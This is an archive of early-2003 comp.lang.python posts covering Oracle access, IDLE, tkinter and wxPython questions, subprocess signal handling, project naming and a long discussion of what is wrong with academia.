PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From vepxistqaosani at netscape.net  Tue Jan 21 11:25:48 2003
From: vepxistqaosani at netscape.net (Fred Bartlett)
Date: 21 Jan 2003 08:25:48 -0800
Subject: Oracle & Python trouble
Message-ID: <ff30b903.0301210825.79baa2fa@posting.google.com>

Hello!

I'm using Python to access an Oracle DB with the cx_Oracle module.
But Windows 2000 (yeah, yeah, I know ...) doesn't like my script:

<two previous uses of v_Cursor.execute(), which work perfectly>
<dctTableNames is {TABLE1:0,TABLE2:1,...,TABLE5:4}>
<keyTableNames is a list of the keys of dctTableNames>
<lstValues is a list of valued procured previously>
<lstResults is a list of lists>

for value in lstValues:
  for tablename in keyTableNames:
    strSql = "select * from %s where VALUE_ID=%s" % (tablename,value)
    v_Cursor.execute(strSql)
    lstSql = v_Cursor.fetchall()
    if len(lstSql) != 0:
      for i in range(0,len(lstSql)):
        lstResults[dctTableNames[tablename]].append(lstSql[i])

The first time through the "for tablename" loop, it works; the second time,
it crashes with a Win2k error message:

  python.exe - Application Error
  The instructions at <address> referenced memory at "0x00000000". The
  memory could not be "written".

This looks very much like a problem with a rogue null pointer; but where
could it be hiding?

Thanks!

Fred



From e_hardwick at yahooo.com  Sat Jan 25 10:39:43 2003
From: e_hardwick at yahooo.com (Eric Hardwick)
Date: Sat, 25 Jan 2003 15:39:43 GMT
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com>
Message-ID: <itb53vskj4gui4466gsqsa9vg4ibhftorf@4ax.com>

On Sat, 25 Jan 2003 09:18:56 -0500, "Norm" <norm at norm.com> wrote:

>I'm really just getting started in Python with the goal of improving my
>Linux networking administration.
>
>I'm learning / practicing with IDLE Python GUI.
>
>Q.  What does the real Python community use for creating Python programs?

I use IDLE. I find it is the perfect companion when writing Python
code. Plus it is easily extendible. I wrote a small plugin that gives
me a "recently opened files" menu on the File menu. Took maybe 20
minutes to write, and that's not because I am good. It's easy.

Anyway, I have used Emacs and Vim for Python coding before and I would
not recommend Emacs. It's interface and command syntax just get in the
way. Vim is okay, but again you need to learn the Vim commands.

Just my opinion. You need to try them all for yourself. Alot of other
people will tell you to use whatever they are using. It's subjective.
Your work style won't be the same as theirs so you should listen to
opinions and then try all of them.

Eric

Remove last "o" from yahoo to email me.



From max at alcyone.com  Sat Jan 18 21:03:34 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 18 Jan 2003 18:03:34 -0800
Subject: How to convert string to float in Python 1.2
References: <3e29dba4_4@corp.newsgroups.com> <Rn-dnTBd0sHKebSjXTWcrg@comcast.com> <3E2A0303.450558A2@alcyone.com>
Message-ID: <3E2A0776.425A6767@alcyone.com>

Erik Max Francis wrote:

> There's a string.atof, but you're better off using the float
> type/function anyway.

Oops, sorry, missed the context of the original question, which was
using Python 1.2, which predates float as a separate function (and
certain as a type).

What he wants is probably string.atof (I don't have a Python 1.2 system
to test with).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Mona Lisa / Come to discover / I am your daughter
\__/ Lamya
    7 Sisters Productions / http://www.7sisters.com/
 Web design for the future.



From benno at sesgroup.net  Mon Jan  6 21:23:39 2003
From: benno at sesgroup.net (Ben Leslie)
Date: Tue, 7 Jan 2003 13:23:39 +1100
Subject: Laura's List - was Re: new years resolutions
In-Reply-To: <200301061159.h06BxgjL029439@ratthing-b246.strakt.com>
Message-ID: <20030107132339.A20556@bob.sesgroup.com.au>

On Mon, 06 Jan 2003, Laura Creighton wrote:

> > On Sun, 05 Jan 2003, Laura Creighton wrote:
> > 
> > > > Now, if I may ask a personal question, what you didn't like in science/ac
> > adem
> > > > ia ?
> > 
> > Although I agre with a lot of what you have said, I thought someone
> > better stand up on the side of academia. I'll add the disclaimer however
> > that I've only just finished my first undergraduate degree, so I may
> > not have had enough time to experience all the lows possible in 
> > academia, or more likely I've been lucky with the lectures I've had
> > and the other students I've worked with.
> 
> Thank you ever so much for writing.  Your perspective is interesting.
> You, sir, have an interesting problem.  Somebody asked me what
> I didn't like in academia, and your response is to decide that academia
> needs _defending_ from people like me.

I'm not sure defending academia was my goal, rather providing another 
perspective on university life, which does, in some aspects, contrast
some of your points. The secondary aim was to generate discussion, which
would possibly lead to a better understanding of some of the problems that
do exist in universities.

>   And, what is more, some of
> your defences are 'well it is no worse than industry'.  

Well, to me, a useful list of "what is wrong with academia" would distinguish
"what is wrong with academia" with "what is wrong with <anything else>", so 
including things like "too many fools", it not so useful, because, there are
fools almost everywhere.

> We are never,
> ever, ever going to reform ourselves into becoming a more ideal
> institution as part of a more ideal society if we cannot even dream
> of a better world without the things we dislike about ourselves. 
 
> Marx said that religion was the opium of the masses.  Today, I suspect
> he would pick  mass-entertainment, and in particular Spectator Sports.
> You sound, to me, as if you believe that the sort of blind loyalty one
> traditionally gives to one's home town sport's team belongs to your
> profession, your field of study, or some other class interest (say
> the class 'academics').  

It is interesting, to me at least, that that is the impression my post
generates, mainly because I do not think that is true. There are plenty
of problems that I see in university education, however it makes a boring
post to simply say "me too". 

> I suggest shaking the obedience out of your
> head at the earliest possible opportunity ...  (BUT AFTER YOUR
> LAST SET OF EXAMS if you aren't done yet!  Save mental housecleaning
> for AFTER you get your marks back ...)  But we will assume that you
> are completely done, and continue ....

I don't think obediance and loyalty to academia is really needed to
succeed in exams. In fact the opposite, displaying some critical 
thinking, usually pays dividends in most subjects. (I say most, because
in some subjects regurgitating what has been spoon fed to you by
the lecturer is the only way to get good marks.)
 
> >  
> > > This is just off the top of my head....
> > > 
> > > 1. preoccupation with cleverness as opposed to wisdom
> > 
> > Care to expand on this point? I don't quite get what you mean.
> 
> Sure thing.  Do you mean -- 'I don't know the difference between
> wisdom and cleverness?' or 'I don't know how to recognise clever
> foolishness when it happens around me?' or 'I don't know why
> getting the correct answer --- as opposed to having the correct
> process -- tends to reward cleverness and not wisdom?' or (most
> likely) something else.

Well, I guess to my foolishness and cleverness are a disjoint set, so
maybe an example of clever foolishness would clear it up for me.
 
> > 
> > > 2. giving the job of 'preparing people for industry' to people who have
> > >    mostly never been there.
> > 
> > Is this really the task of university? I thought university was there to
> > teach me to think, not to cram me full of <insert overhyped technology
> > here>.
> 
> Now that is an interesting comment.  Did you really need to be 'taught 
> HOW to think'?  I don't know any universities which actually teach that.
> (Some of them, however, teach 'what are good study habits' to people who
> up until that point, had never needed any because they were bright enough
> to 'wing-it' on no study habits at all.  More should.  Would save on
> the suicide attempts, some of which are successful.)  

I was probably too breif in my explanation here. I expect a university to
teach me how to think about various problems. Not simply what the solution
is. So for example, how to go about writing/designing and algorithm, rather
than say, here is the algorithm for a quicksort. Of course in teaching
the general concept, it generally helps to study specific examples. Of course
studying specific solutions is a lot easier than generalising, so this
is often what ends up being learnt.
 
> I would dearly like it we could separate the people who want and
> need advanced vocational training, from the people who want to become
> academics, from the people who are only having their entrance into
> the workforce delayed for some number of years.  

I think that an undergraduate degree at least, provides (or should
provide) a good base education, which would then allow the student
to either obtain specific vocational training, or continue
onto a research masters or PhD.
 
> Then we build different institutions for the different needs and get
> rid of the fiction that:
> 
> a) education is better than training (for all things, since training is
>    so, low-class)

Why do you say that this is a fiction? Surely a better education, alows
you to train more quickly and easily?

> b) that which best prepares you to be an academic also best prepares you
>    for industry

Clearly not true, though I think there would be a common ground.

> c) that being an academic means that you are a smarter, and hence better
>    person that somebody who isn't an academic, but only a 'professional',
>    both of which, of course, are miles above people who don't have
>    'professions' but only 'trades'.
> 
> This is one bear of a job.  All the people whose sense of self-worth
> is based on the notion that they are _better_ than _other people_
> rather than that they are _good_ at _some things_ are going to fight
> it tooth and nail.  And universities are the absolute model for the
> belief that 'I am better than you are because I am smarter than you
> are'.  Taking that attitude out of the university is going to make a
> Middle East Peace Plan look easy-as-pie.
> 
> > > 3. believing that teaching is something that comes naturally.  No effort
> > >    is made to train professors on how to teach well.  This is a trainable
> > >    skill.
> > 
> > Have to agree with this one.
> > 
> > > 5. Greedily embracing the notion that 'a university education is for
> > >    everyone' because it means more funding, reguardless of what it means
> > >    for would-be academics who now usually have to wait until they get
> > >    to grad school -- or now in some fields a postdoc before they can do 
> > >    anything truly original.  That is too long a wait.
> > 
> > I'm not sure what you are suggesting here. Are you saying there are not
> > enough interesting problems to tackle, or that universities provide the
> > opportunity for people to tackle the problems? (I'm going to assume the
> > latter :).  Surely this is up to the student as much as anything, what
> > is stopping them from finding some interesting original work?
> 
> No, I was actually referring to the wisdom of merging 'professional
> training' with 'how to be an academic'.  See part 2.  But your
> question is interesting enough in itself.
> 
> The answer to your question -- is way too much assigned core preparatory
> work which is held out as 'necessary preparation'.  Your own cool
> research is the carrot that they hold out to you to keep you on the
> treadmill of degree getting.
> 
> This, of course, varies from department to department.  There were over
> 10,000 computer science students in EACH YEAR when I was an undergraduate.
> None of those poor souls got to do any original research or work at all.
> The whole notion was laughed at, and I got laughed at when I tried it.
> This was in direct contract to my experience as a Physics major.  There
> were 55 of us in my year, after the first year, (we started with about
> 200).  There, if you wanted to do something interesting, and you could
> get it funded, there was no problem.  The department made sure all the
> students were aware of summer work on NSERC funded projects, and when
> a we dedided that we wanted to get NSERC to pay for us to fool around
> in the laser-lab (though we made things sound more respectable on
> the grant) the department was right behind us.  Several professors
> volunteered to supervise us, and help us with our ideas.  The rule
> was 'if you can get the funding to do it, we will let you fool around
> with the laser lab as much as you like'.  It was great.  So I mostly
> got the educational experience I wanted from school.  Being a physics
> undergraduate was wonderful.

Well the cool thing about computer science is that you don't need funding
or special equipment or such things to do something cool. (Well if you
are playing with software anyway, hardware dev is another matter.)

In my experience the assignments and projects we were given for
actual subjects were usually open-ended enough that it allowed you
to do your own thing to a certain extent. <on-topic>Some even let me
use python!</on-topic>
 
> But I think the life of the computer science undergraduate was
> complete and utter hell and misery.  And it made them a most obedient,
> unimaginative, uncreative passive sheep. 

Did it turn them into passive sheep, or were they that already?

> (Which, perhaps, is the
> point.  This may be what they believe industry wants, needs, or
> deserves.)  There were exceptions, of course, but most of them were
> finding the course work hellish because it wasn't interesting enough
> -- or because they were spending their time on their own projects,
> which was great for them as people but put them at a
> grade-disadvantage to most of the people who only lived for marks.

Surely your work in the laser-lab took up time that could have also
been spent studying? I don't see the difference between this and 
people hacking on their own projects while doing a CS degree.
 

> > 
> > > 6. Classroom teaching as opposed to Master/Apprentice type relationships.
> > 
> > Well unfortunately the funding arrangements in most universities do not
> > allow this sort of interaction in earlier years. In my expereience though,
> > you do have the opportunity for this the Master/Apprentice style of teaching
> > in later years.
> 
> Or there are too many students.

Well sure, but that is as much a reflection on society in general and
industry as it is universities. Students want to do CS because there is
the perception that to get a good job in industry you need a piece of
paper which says you have a degree. It is the uni's responsibility to try
and teach these people.

>  Note, that I am not saying that the
> world would be better off without advanced professional training or
> that most people would not be better off wihtout what they learn in
> universities.  It is the wisdom of joining professional colleges and
> academic ones into something called 'the multi-disciplinary university'
> that I question.

I guess I see this happening due to external pressures. The cred
of having a university degree making uni more popular. Then employers
complaining that people with university degrees aren't ready for
industry, so the uni's change what they are teaching to become more
useful to industry. And from here you have a vicious circle.
 
> > 
> > > 7. Preoccupation with novelty, and originality, as opposed to soundness.
> > > 8. The complete disreguard of 'good workmanship' as the counterpart to
> > >    'sound design'.  These days people are likely to learn that the work
> > >    is good because it was 'designed well', as opposed to the fact that
> > >    one of many good designs was selected -- the result was good because
> > >    _the workmanship was good_.  (Good workmanship cannot save a really
> > >    rotten design, unfortunately.)
> > 
> > I haven't experienced this in my university education. Of course YMMV :)
> 
> If you have just finished an undergraduate degree, then I hope this is
> because you have attended a rare place that values workmanship.  If
> not, if you are moving to industry, you may find that your problems
> by knowing too much about design and too little about workmanship
> are just beginning.  If you have ever had a design of yours tossed
> because it was 'too clever' then you know what I am talking about.
> If, on the other hand, the thought of this ever happening to you fills
> you with outrage, then I know what the next few years will hold in
> store for you.  (It gets better, by the way.)

Well, having worked part time during semester and full time during breaks 
whilst I was studying I already have some idea of working in the industry.

(Of course having already worked made me laugh at some of the things
lecturers tried to teach, but you get that.)
 
> > 
> > > 9. A life focused on Grading people.  Making grades, not knowledge or
> > >    wisdom the important centre of the universe.
> > 
> > I don't know about focused, but this definately is true to a certain
> > extent. To get a degree you just need to pass the test, which basically
> > ends up meaning, not being in the bottom 25% of a course, because they
> > get scaled anyway. There is no measure of how much was actually learned.
> > 
> > > 10. (in some places) The notion that only the top 10% matter -- the
> > >     rest can all go hang.
> > 
> > I've found, in most courses, a balanced approach. Most of the teaching 
> > is really aimed at average. This leaves probably a lot of the top 10%
> > bored out of their collective brains. (Unfortunately people learn at
> > different rates; it can be frustrating when lecturers revise basic
> > concepts (like say converting hex to binary) in 3rd year subjects.)
> > Fortunately a few courses balance this by providing advanced challanges
> > for the top 10%. I don't see this as a bad thing. (But I may be
> > biases, oops, there is that ego you were talking about :).
> 
> Grin.  You are seeing this from the perspective of the students, which
> is quite understandable.  What I was more unhappy about is the fact that
> many professors think that only the top 10% of the people in their
> classes matter -- or only grad students matter -- or only _TOP_
> grad students matter.  The rest are just cannon fodder which keep
> the university in funds.

This could well be true, I'm probably not in the best position to 
judge that :).
 
> > 
> > > 11. The belief that business is somehow demeaning.
> > > 12. The belief that business is somehow superior. 
> > > 13. Too many fools.
> > > 14. Too swollen egos.
> > 
> > And how exactly does this different from industry? I find it difficult to
> > believe that all the fools and egoists go to academia and none into
> > industry.
> 
> This isn't the 'why is industry better than academia' list.  'Too many
> fools' and 'Too swollen egos' would make my list of what is wrong
> with _anything_.  

Yeah, ok. I read more into your list than I should have. (Being too clever
perhaps :).
 
> > > 15. The furthering of the belief that Art is merely entertainment.
> > > 16. The furthering of the belief that it is a good idea to appear
> > >     better than you really are.
> > > 17. Too many people who feel they have the right to be contemptuous of othe
> > rs.
> > 
> > This is sad, but true. :(
> > 
> > > 18. Too much paperwork.
> > 
> > Again, I can't really see it as being that much more than industry.
> 
> Hee hee.  You need a CAPS system.  see www.strakt.com ...
> 
> Seriously, that is the problem that I actually think I mostly know how
> can be fixed.  Now there is just a 'simple matter of programming'.
> (This is a common phrase around Strakt.  It fits up there with 'in
>  our copious spare time'...)

Again, I'm probably missing something, but doesn't such a system
merely change "too much paperwork" to "too much filling in electronic forms"?

(Ok, you can probably save on some administrative staff, but this
isn't really an academics problem.)

 
> > > 19. Too much specialisation within a given field.
> > > 20. Not enough play.
> > 
> > I think this probably depends a lot on the group you work with.
> 
> indeed.  but that is the problem in itself.
> 
> > 
> > > 21. Really boring textbooks written by people who cannot write.
> > 
> > Oh yeah. It does make you really appreciate good textbooks
> > though :).
> 
> Thought you might like this one ...
> 
> > 
> > > 22. An over-reliance on analytical as opposed to geometric methods.
> > > 23. Avoidance of risk.
> > > 24. Avoidance of beauty.
> > > 25. Focusing on that which can be measured (in itself a good thing, and
> > >     the secret of Western success) but not to the extent where that
> > >     which cannot be measured is deemed unimportant, or even non-existant.
> > > 26. Students who sit like turnips in your lectures.
> > 
> > Hey, its a lot better than students that answer mobile phones in your
> > tutorials!
> 
> You need to institute the 'beer buying' rule in your tutorials.  Anybody
> whose phone rings in the tutorial has to buy a beer for every single
> member of the tutorial, yourself included, at the pub at some set time.
> Fixes that  little problem quite nicely.

I like it! I'll definately be using that one :)
 
> >  
> > > I'll stop now.  I am sure you will get plenty more answers from other
> > > people.
> > 
> > 
> > Benno
> 
> Thanks ever so much for writing.  You take care now, and good luck
> in all your endeavours in the next year.

Thanks for bring up an interesting topic of discussion :)

Benno





From chrisw at nipltd.com  Tue Jan  7 06:35:18 2003
From: chrisw at nipltd.com (Chris Withers)
Date: Tue, 07 Jan 2003 11:35:18 +0000
Subject: Strip-o-Gram 1.4 Released!
Message-ID: <3E1ABB76.8020307@nipltd.com>

Strip-o-Gram is an HTML Conversion Library that can convert HTML to Plain Text
and strip specified tags and Javascript from HTML.

See http://www.zope.org/Members/chrisw/StripOGram for more details.

This release enables Strip-O-Gram to work as a Zope Product as well as a Python 
Package.

cheers,

Chris






From whisper at oz.net  Tue Jan 21 02:36:03 2003
From: whisper at oz.net (David LeBlanc)
Date: Mon, 20 Jan 2003 23:36:03 -0800
Subject: Seeking Ultralight p2p app
In-Reply-To: <Xns9309EB299EFD0PaCmAnRDLM@213.228.0.138>
Message-ID: <GCEDKONBLEFPPADDJCOEOEDCHIAA.whisper@oz.net>

I don't think it was Circle - that depends on Gtk and to the best of my
recollection this was pure python/tkinter.

I have this persistant not-quite-a-memory that it's a demo out of a "python
and the web" sort of programming book.

Thanks for the thought though :)

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Fred Pacquier
> Sent: Monday, January 20, 2003 14:05
> To: python-list at python.org
> Subject: Re: Seeking Ultralight p2p app
>
>
> "David LeBlanc" <whisper at oz.net> said :
>
> > I've lost track of an app and can't seem to find it anywhere (VoP,
> > yahoo, SF). TBMR, it had a simple tkinter GUI chat interface and one
> > communicated to another user (users - like irc?) by entering their IP
> > address(es). It might have been a book sample or a technology
> > demonstrator and not a supported app.
> > Any help appreciated...
>
> "Circle", maybe ?
>
> --
> YAFAP : http://www.multimania.com/fredp/
> --
> http://mail.python.org/mailman/listinfo/python-list





From abli at freemail.hu  Fri Jan 10 18:39:44 2003
From: abli at freemail.hu (Abel Daniel)
Date: Sat, 11 Jan 2003 00:39:44 +0100
Subject: tkinter: Passing arguments when binding keys to functions
In-Reply-To: <2odnva.e281.ln@boundary.tundraware.com>
References: <72pkva.lsr.ln@boundary.tundraware.com> <mailman.1042191206.28149.python-list@python.org> <tovmva.2s51.ln@boundary.tundraware.com> <mailman.1042226899.24007.python-list@python.org> <2odnva.e281.ln@boundary.tundraware.com>
Message-ID: <20030110233944.GB712@hooloovoo>

Tim Daneliuk (tundra at tundraware.com) wrote:
> Aha! That explains it.  There is a minor error in your example, I believe.
> Shouldn't the code be:
> 
> widget.bind('<F' + str(x+1) + '>', lambda e, arg=y : CommonHandler(e, arg))
Depends.
If you need the event object (i.e. the data it contains, like
event.widget, etc.) then you need to pass it in as you wrote.
However, it is not mandatory. If CommonHandler looks like:
def Commonhandler(arg):
    print arg
    # or popup a modal dialog asking wheter the user wants to quit
    # i.e. doing something for which event data is not needed

then its not needed.
(I assumed you didnt want to change CommonHandler : ) )

abli




From m.hadfield at niwa.co.nz  Mon Jan 13 16:21:27 2003
From: m.hadfield at niwa.co.nz (Mark Hadfield)
Date: Tue, 14 Jan 2003 10:21:27 +1300
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re:  [ann]MinimalPython project)
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net>        <mailman.1042428982.26240.python-list@python.org>        <vAsU9.66$_d2.118955@news.uswest.net>        <5ItU9.7305$Dq.767535@newsread2.prod.itd.earthlink.net>        <3E228E81.81B0FACD@alcyone.com> <mailman.1042468702.13459.python-list@python.org>
Message-ID: <avvami$8ok$1@newsreader.mailgate.org>

"Skip Montanaro" <skip at pobox.com> wrote in message
news:mailman.1042468702.13459.python-list at python.org...
> Not to mention which there is an open source project in the X
> space called Oroborus.  There is a Mac OS X version also
> called OroborOSX

That has to be a candidate for the title of worst open-source project name
in existence. And there's some stiff competition!

--
Mark Hadfield            "Ka puwaha te tai nei, Hoea tatou"
m.hadfield at niwa.co.nz
National Institute for Water and Atmospheric Research (NIWA)





From p-abel at t-online.de  Tue Jan  7 17:34:58 2003
From: p-abel at t-online.de (Peter Abel)
Date: 7 Jan 2003 14:34:58 -0800
Subject: iteration over methods
References: <3E1AB7B3.4050404@aon.at> <v1lkl079pb5ib6@news.supernews.com>
Message-ID: <13a533e8.0301071434.171197bf@posting.google.com>

"John Roth" <johnroth at ameritech.net> wrote in message news:<v1lkl079pb5ib6 at news.supernews.com>...
> "Oliver Vecernik" <vecernik at aon.at> wrote in message
> news:3E1AB7B3.4050404 at aon.at...
> > Hi!
> >
> > I've got an object with some methods:
> >
> > class Someclass(self):
> >      def __init__(self):
> >          pass
> >      def method1(self):
> >          pass
> >      def method2(self):
> >          pass
> >      ...
> >      def runallmethods(self):
> >          for func in dir(self):
> >              if func[0:4] == 'method':
> >                  apply(self.func) # Does *not* work!
> >
> > I'd like to run all methods named 'method...' in a sequence. Has
>  anybody
> > a clue how to achive this?
> 
> Look at the "unittest" module. It does exactly this.
> 
> John Roth
> >
> > Best Regards,
> > Oliver
> >

Hi Oliver!
Try the following:
(It works with Python 2.2.2)
>>> import types
>>> class A:
... 	def __init__(self):
... 		pass
... 	def m1(self):
... 		print "m1"
... 	def m2(self):
... 		print "m2"
... 	def run_all(self):
... 		for i in dir(self):
... 			if type(eval('self.'+i))==types.MethodType and i!='run_all' and
i!='__init__':
... 				eval('self.'+i)()
... 
>>> a=A()
>>> a.run_all()
m1
m2
>>>



From reagan_laurence at hotmail.com  Wed Jan 29 17:50:49 2003
From: reagan_laurence at hotmail.com (Reagan)
Date: 29 Jan 2003 14:50:49 -0800
Subject: Embedded C++, confused about the self pointer/init
Message-ID: <4bb8bc0d.0301291450.63aa3a91@posting.google.com>

I have an instance of a python class created in C++.  The problem is
that I don't understand why the __init__ is not receiving a self
pointer.  I want to set the instance of this class to an already
existing object so what I am having to do is instantiate the class,
then call a method I created to specifically set the self pointer to
be the reference to the already existing object.  Why am I not able to
do this in the __init__ method?  I want all of this to be done with
methods on the C++ side.  I am assuming that I can define the
'default' __init__ method in C++.

If this is clear as mud, I will post some code that we got to execute
correctly here at work and try to explain my confusion further (if
that makes any sense!)

Thanks!

Reagan

P.S.  Please bear with me as I am new to Python.



From edream at tds.net  Sat Jan 11 13:33:22 2003
From: edream at tds.net (Edward K. Ream)
Date: Sat, 11 Jan 2003 18:33:22 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com>
Message-ID: <SrZT9.121191$Hs2.11493220@kent.svc.tds.net>

> I'm inclined to withhold judgment on such claims, admitting the
> possibility that I don't know everything.

A better rule of thumb, IMO, is that extraordinary claims require
extraordinary justification.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------





From jguerin at cso.atmel.com  Wed Jan 22 15:58:20 2003
From: jguerin at cso.atmel.com (Justin Guerin)
Date: Wed, 22 Jan 2003 13:58:20 -0700
Subject: Python use growing or shrinking
In-Reply-To: <W2DX9.6659$Sv3.652850@newsread1.prod.itd.earthlink.net>
References: <v2rhpd4d6p8f79@corp.supernews.com>
 <b68f71a7.0301220333.143efd58@posting.google.com>
 <W2DX9.6659$Sv3.652850@newsread1.prod.itd.earthlink.net>
Message-ID: <200301221358.20635.jguerin@cso.atmel.com>

On Wednesday 22 January 2003 01:21 pm, Terry Hancock wrote:
> Alan James Salmoni wrote:
> > I suppose somebody had better tell NASA that they shouldn't be using
> > Python. And saying that Basic is better for "industrial,
> > mission-critical software systems" than Ada? I thought that was
> > precisely the kind of task that Ada excels at (things like control
> > systems for nuclear power stations, missile control systems and the
> > like).
>
> Hey. Has anybody tried to write a Python interpreter in Ada? I guess it
> would be called Aython.
>
> Sorry, I'll shut up now.  ;-D
>
> Terry

Wait... I thought Python was mostly written in C, which means it should be 
Cython.  Is it actually written in Pascal or <gasp> Perl?

Justin





From ah at well.ysee  Mon Jan 13 15:05:03 2003
From: ah at well.ysee (Kelv)
Date: Mon, 13 Jan 2003 20:05:03 GMT
Subject: RH8.0, gfax, python
Message-ID: <PZEU9.509$Pw.315@news1.central.cox.net>

Hi,

I have been attempting to install a program called gfax on RedHat Linux 
8.0. gfax is written in Python.

As far as I can see I have a working pygtk 2.0 (1.99.12) and 
gnome-python, as they came installed with the distro.

However when run, gfax fails with the following...

Traceback (most recent call last):
   File "/usr/bin/gfax", line 33, in ?
     from prefs import *
   File "/usr/lib/gfax/prefs.py", line 23, in ?
     from gnome.config import *
ImportError: No module named config

I tried an example program that also has...

from gnome.config import *

... in it, and that fails too, with the same error.

Can anyone help. I know nothing about Python but can follow precise 
instructions if given.

Kelv




From phr-n2002b at NOSPAMnightsong.com  Mon Jan  6 20:59:34 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 06 Jan 2003 17:59:34 -0800
Subject: Simple httplib problem
References: <hs5k1vklegrthn41c3krdv8g8g1s8edfc5@4ax.com> <nv9k1vc80mfaj3bhq96864f5gsoa5pcp0t@4ax.com>
Message-ID: <7xy95xzpmh.fsf@ruckus.brouhaha.com>

Afanasiy <abelikov72 at hotmail.com> writes:
> The second connection needs to have it's own HTTPConnection object.
> I was just a confused about using this module it seems. The documenation
> I have from ActiveState's Windows distribution seems fairly lacking in
> most aspects. Is there something better?

Why don't you use urllib, which takes care of a lot of this stuff for you?



From LogiplexSoftware at earthlink.net  Thu Jan 23 12:10:15 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 23 Jan 2003 09:10:15 -0800
Subject: wxPanel and Sizers question
In-Reply-To: <3E30103E.E490495B@ipm.fhg.de>
References: <3E300AD1.8AE42379@ipm.fhg.de>  <3E30103E.E490495B@ipm.fhg.de>
Message-ID: <1043341814.18172.288.camel@software1.logiplex.internal>

On Thu, 2003-01-23 at 07:54, Markus von Ehr wrote:
> OK, I discovered the error.
> I missed:
> 
>      self.SetSizer(sizer)

This is more how it would be done (untested):

class MyWindow(wxPanel):
    def __init__(self, parent, id):
        wxPanel.__init__(self, parent, id)
        self.SetAutoLayout(true)

        box = wxBoxSizer(wxVERTICAL)
	self.SetSizer(box)

        b1 = wxButton(self, -1, "one")
        b2 = wxButton(self, -1, "two")
        b3 = wxButton(self, -1, "three")
        b4 = wxButton(self, -1, "four")
        box.AddMany([
            (b1, 0, wxEXPAND),
            (b2, 0, wxEXPAND),
            (b3, 0, wxEXPAND),
            (b4, 0, wxEXPAND),
        ])

	EVT_BUTTON(self.b1, b1.GetId(), someEventHandler1)
	EVT_BUTTON(self.b2, b2.GetId(), someEventHandler2)
        ...

I also find it useful, when creating a a window with a repeated series
of controls (as you are apparently doing here), to do it with a loop
(also untested, but you should get the idea):


class MyWindow(wxPanel):
    def __init__(self, parent, id):
        wxPanel.__init__(self, parent, id)
        self.SetAutoLayout(true)

        box = wxBoxSizer(wxVERTICAL)
	self.SetSizer(box)

	buttons = {
	    'One':   self.oneHandler,
            'Two':   self.twoHandler,
            'Three': self.threeHandler,
            'Four':  self.fourHandler,
        }

	for b in buttons:
            button = wxButton(self, -1, label)
            EVT_BUTTON(self, button.GetId(), buttons[b])
            box.Add(b, 0, wxEXPAND)


This approach allows you to add a new button by just updating the
'button' dictionary and adding an appropriate event handler.  It also
avoids polluting your namespace with a bunch of references to buttons
you only need once.

Regards,


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From whisper at oz.net  Mon Jan 13 19:53:19 2003
From: whisper at oz.net (David LeBlanc)
Date: Mon, 13 Jan 2003 16:53:19 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
In-Reply-To: <3E235223.5050505@tismer.com>
Message-ID: <GCEDKONBLEFPPADDJCOEKEHOHFAA.whisper@oz.net>

There's a Forth called Pygmy Forth...

David LeBlanc
Seattle, WA USA 

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Christian Tismer
> Sent: Monday, January 13, 2003 15:56
> To: Jeremy Yallop
> Cc: python-list at python.org
> Subject: Re: Seeking Minimal Python Project Name (was: [pypy-dev] Re:
> [ann] Minimal Python project)
> 
> 
> Jeremy Yallop wrote:
> > * Christian Tismer
> > | While a name is most unimportant for me,
> > | I agree that it *is* important for the
> > | community to be able to spell it.
> > | 
> > | Anyone having some good suggestions?
> > 
> > Pygmy.
> 
> Yeah!
> 
> Pyg me too please :-)
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list




From max at alcyone.com  Sun Jan  5 00:34:27 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 04 Jan 2003 21:34:27 -0800
Subject: Blocking ctrl-c to os.popen() or os.system()
References: <d71cc7f6.0301041400.25c106c4@posting.google.com>
Message-ID: <3E17C3E3.FC2C643C@alcyone.com>

Sandeep Gupta wrote:

> I am executing a command from python via os.popen().  While the
> command is executing, if I type ctrl-c, the command receives the
> interrupt.  I would like to block the ctrl-c from the command and I've
> tried the following:
> 
> 1)Using python's signal module to ignore SIGINT.  This causes python
> to ignore SIGINT, but a ctrl-c that is typed during the popen() call
> still goes to the command.
> 
> 2)Adding "< /dev/null" to the os.popen() call.  This doesn't help.
> 
> 3)Using popen2() and immediately closing the stdin file.  This also
> doesn't work.
> 
> Any suggestions would be greatly appreciated!

The problem here (which other responders failed to identify) is that
it's the spawned program that's getting the INT signal, not the Python
program launching it.  Signals are really independent of stdin/stdout,
so that's why your redirection and file closing isn't helping.

Unfortunately, I don't think there's any pretty solution to your
problem.  What you probably need to do is write a wrapper program that
intercepts the INT signal and ignores it (presuming that's what you
actually want to do).  This would be similar to the nohup program (which
does something analogous, but for the HUP signal).

You can write a little script to do it, with bash, ksh, zsh, or
varieties.  In zsh it would look like:

	#!/bin/zsh -f

	function TRAPINT () { }

	"$@"

The other shells have similar mechanisms, I believe involving a trap
builtin.

Unfortunately you're probably going to be forced to use a wrapper script
for portability, since with os.popen (or os.system) you're not
guaranteed which shell is going to get run, so you can't do the trapping
inline.

Note that this won't stop other signals, such as TERM, and that nothing
can stop KILL.

-- 
